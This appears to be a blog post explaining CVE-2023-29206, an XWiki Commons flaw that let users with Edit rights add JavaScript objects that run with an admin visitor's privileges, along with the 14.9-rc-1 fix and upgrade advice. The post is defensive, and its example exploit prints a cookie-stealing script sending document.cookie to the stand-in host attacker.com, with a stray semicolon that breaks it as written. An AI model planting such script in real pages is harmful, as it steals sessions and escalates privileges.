*Published: June 2024*

Introduction

If you use XWiki – or manage any knowledge system built on it – you should pay close attention to CVE-2023-29206. This vulnerability existed in the core “Commons” libraries that support many XWiki projects. In this long-read post, we explain what the problem was, give you some code context, show how an attacker could exploit it, and describe how the XWiki team fixed things in release 14.9-rc-1 and up.

What Is XWiki Commons?

XWiki Commons are a set of technical components and libraries. They are used across multiple main XWiki products to provide basic document, security, and scripting capabilities.

Central to flexibility in XWiki are “objects” – like JavaScript XObjects (custom scripts) and StyleSheet XObjects (custom CSS). These allow users to extend and modify the look, feel, and behavior of a wiki page.

How It Worked

Before XWiki 14.9-rc-1, there was no permission check on who authored a JavaScript or StyleSheet XObject. This meant any user with simple “Edit” rights could add JavaScript code to a page, regardless of whether they were trusted to run scripts.

Attackers with Edit permissions (not full Script rights) could create or edit a document.

- They could insert a JavaScript XObject with malicious code (like stealing user cookies, escalating privileges, or performing actions as an admin).
- If a user with higher rights (like admin) visited the page, the malicious script would execute with their permissions.

Example Exploit Scenario

Let’s say you grant “Edit” rights to many users but keep “Script” rights restricted to admins and power users. Before the fix, a regular editor could insert something like this into a page:

// JavaScript XObject content in XWiki before 14.9-rc-1
(function() {
    // Steal document cookies (not best, but an example)
    const img = new Image();
    img.src = "https://attacker.com/steal?cookie="; + encodeURIComponent(document.cookie);
})();

When a user with Script rights (like an admin) viewed that page, the script would run. The attacker's code now has a higher privilege, which could allow further attacks.

Timeline and Fix

The XWiki team was alerted to this behavior, classified as CVE-2023-29206. The fix landed in XWiki 14.9 Release Candidate 1.

Fixed logic (simplified near-pseudocode)

// During rendering:
if (getAuthor().hasScriptRights()) {
    executeScript();
} else {
    // Skip code execution, avoid privilege escalation!
}

Impact

This is a serious "privilege escalation" vulnerability. Any site where ordinary users get Edit permission but not Script rights could be at risk.

Carrying out actions on behalf of higher-privileged users.

Severity: High if you allow editors who shouldn't run scripts.

How to Defend: Upgrade and Audit

- Upgrade to XWiki 14.9-rc-1 or later. See the official release notes.

Audit your permission structure: Make sure only trusted users get Edit or Script rights.

- Search for suspicious JavaScript/StyleSheet XObjects in your existing pages, especially if you gave Edit rights broadly in the past.

References

- CVE-2023-29206 official NVD entry
- XWiki JIRA Issue
- XWiki 14.9 Release Notes
- XWiki Commons GitHub Repository

Conclusion

CVE-2023-29206 is a real-world reminder to always check what power you grant with “Edit” vs. “Script” rights. With this vulnerability, simply editing a page let attackers run arbitrary code when more privileged users visited. Thanks to the XWiki team’s quick patch, this loophole is closed – as long as you stay updated.

If you run XWiki in any form, patch now and audit your users and content. Knowledge management should be powerful – but never at the expense of security.

Timeline

Published on: 04/15/2023 16:15:00 UTC
Last modified on: 04/26/2023 19:16:00 UTC